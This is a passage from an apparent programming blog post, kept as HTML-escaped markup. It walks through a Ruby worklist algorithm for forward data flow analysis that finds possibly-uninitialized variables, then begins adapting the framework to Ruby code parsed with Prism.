&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    facts &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; block&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;code&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;inject(input) &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;f, line&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      line&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;graph&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;apply(f)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; facts &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; @out&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;block&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      @out&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;block&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; facts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Get the next blocks we should process given an input block.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# For forward analysis, we want to look at the block&amp;#39;s successors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;children_for&lt;/span&gt; block
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    block&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;succ
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the above class, the &lt;code&gt;input_for&lt;/code&gt; method takes a basic block, looks up the predecessors for the block, then unions the output of those blocks.
The &lt;code&gt;record_output&lt;/code&gt; function takes a block and some input (which happens to be the return value of &lt;code&gt;input_for&lt;/code&gt;), and for each line of code in that block computes output facts based on the input.
Those output facts are the &amp;ldquo;possibly uninitialized variables&amp;rdquo; at that line.
Since we really only care about the state of the world at the end of the block, we just use an &lt;code&gt;inject&lt;/code&gt; (a left fold for scheme people) over the code in the block.&lt;/p&gt;
&lt;p&gt;If, after analyzing all lines in the block, the facts are the same as what we had recorded previously, &lt;code&gt;record_output&lt;/code&gt; will return false.
Otherwise, it saves the facts for that block and returns true.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;blocks&lt;/code&gt; method returns all blocks in reverse post-order (the traditional order for doing forward analysis that my grandparents used), and the &lt;code&gt;children_for&lt;/code&gt; method returns the successors for a block.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ve got our CFG, and we&amp;rsquo;ve got a strategy for iterating the graph and analyzing it.
Now we need to actually do the analysis.&lt;/p&gt;
&lt;p&gt;We discussed earlier that this problem is a two element lattice with a monotonic function (it moves up the lattice, never down).
That means it&amp;rsquo;s perfect for a worklist algorithm.
Our worklist algorithm is actually quite simple, it&amp;rsquo;s just this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;process&lt;/span&gt; strategy
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  worklist &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; strategy&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;blocks
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;until&lt;/span&gt; worklist&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;empty?
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    block &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; worklist&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;shift
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Get the input facts for a block&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    block_input &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; strategy&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;input_for block
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Record output facts. If something changed, we have more work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; strategy&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record_output(block, block_input)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# Something changed, so walk the block&amp;#39;s children&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      strategy&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;children_for(block)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;child&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        worklist &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; child &lt;span style=&#34;color:#66d9ef&#34;&gt;unless&lt;/span&gt; worklist&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;include?(child)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;analysis &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;ForwardAnalysis&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(prog)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;process analysis
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Given an iteration strategy, ask for a list of blocks to process.
While we have blocks to process, get a block.
Ask the strategy for the input facts for that block, then ask the strategy to record output facts for that block given the input.
If we learned something new (&lt;code&gt;record_output&lt;/code&gt; returns true), then ask the strategy for children of that block and add the children to the worklist (if they aren&amp;rsquo;t in the worklist already).&lt;/p&gt;
&lt;p&gt;After this processing finishes, the &lt;code&gt;@out&lt;/code&gt; hash inside the &lt;code&gt;ForwardAnalysis&lt;/code&gt; object will contain possibly-uninitialized variable information for each block.
We can iterate over the blocks in the analysis and print out the possibly uninitialized variables for each line:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;show&lt;/span&gt; prog, code, facts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  print code&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ljust(&lt;span style=&#34;color:#ae81ff&#34;&gt;14&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  print &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  // &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  puts prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;names(facts)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;, &amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;print_prog&lt;/span&gt; prog, analysis
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  analysis&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;blocks&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;block&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Get the input for this block&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    facts &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; analysis&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;input_for(block)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Process each line of code and print out the results&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    block&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;code&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;line&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      facts &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; line&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;graph&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;apply(facts)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      show prog, line&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;source, facts &lt;span style=&#34;color:#66d9ef&#34;&gt;unless&lt;/span&gt; line&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;source&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;empty?
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print_prog prog, analysis
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since we only recorded output information for each block, we have to do some extra processing at the end to print out the facts at each line, but if we run this code we finally get this output:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;var a, b, c;    // a, b, c
a = input;      // b, c
b = a + c;      // b, c
if (input) {    // b, c
  c = 1;        // b
}               // b, c
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;analyzing-ruby-code&#34;&gt;Analyzing Ruby code&lt;/h2&gt;
&lt;p&gt;Whew.  That was a ton of work.  But the good news is that we can reuse this framework for other languages too.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m not going to explain the intricate details of this code, but we can use Prism to parse Ruby and feed that into our &lt;code&gt;Program&lt;/code&gt; class.
The &lt;code&gt;body&lt;/code&gt; function walks the Prism AST and records a rule for each statement, using the same kinds of rules we wrote by hand for TIP.
Just to emphasize this, we wrote all of the data flow rules by hand for TIP, but our Prism code &lt;em&gt;does it automatically&lt;/em&gt; based on assignments in the Ruby code.&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;Show the Prism code&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;analyze&lt;/span&gt; prog, vars, node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  keep &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; vars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;map { &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;it, it&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; } &lt;span style=&#34;color:#75715e&#34;&gt;# every variable keeps its status&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt; node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;when&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Prism&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;LocalVariableWriteNode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    x &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;name
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    effects &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keep &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[[&lt;/span&gt;x, x&lt;span style=&#34;color:#f92672&#34;&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;value&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;is_a?(&lt;span style=&#34;color:#66d9ef&#34;&gt;Prism&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;NilNode&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      effects &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, x&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      (reads(node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;value) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; vars)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each { effects &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;it, x&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;slice, effects
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;when&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Prism&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;IfNode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record_if &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;if &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#{&lt;/span&gt;node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;predicate&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;slice&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;, keep,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; { body prog, vars, node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;statements },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;subsequent &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; { body prog, vars, node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;subsequent&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;statements }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;slice, keep
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;body&lt;/span&gt; prog, vars, stmts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;, vars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;map { &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;it, it&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; }) &lt;span style=&#34;color:#66d9ef&#34;&gt;unless&lt;/span&gt; stmts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stmts&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;body&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each { analyze prog, vars, it }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;reads&lt;/span&gt; node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;name&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;is_a?(&lt;span style=&#34;color:#66d9ef&#34;&gt;Prism&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;LocalVariableReadNode&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;name&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;is_a?(&lt;span style=&#34;color:#66d9ef&#34;&gt;Prism&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;CallNode&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;variable_call? &lt;span style=&#34;color:#75715e&#34;&gt;# read before assigned&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  node&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;compact_child_nodes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;flat_map { reads it }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
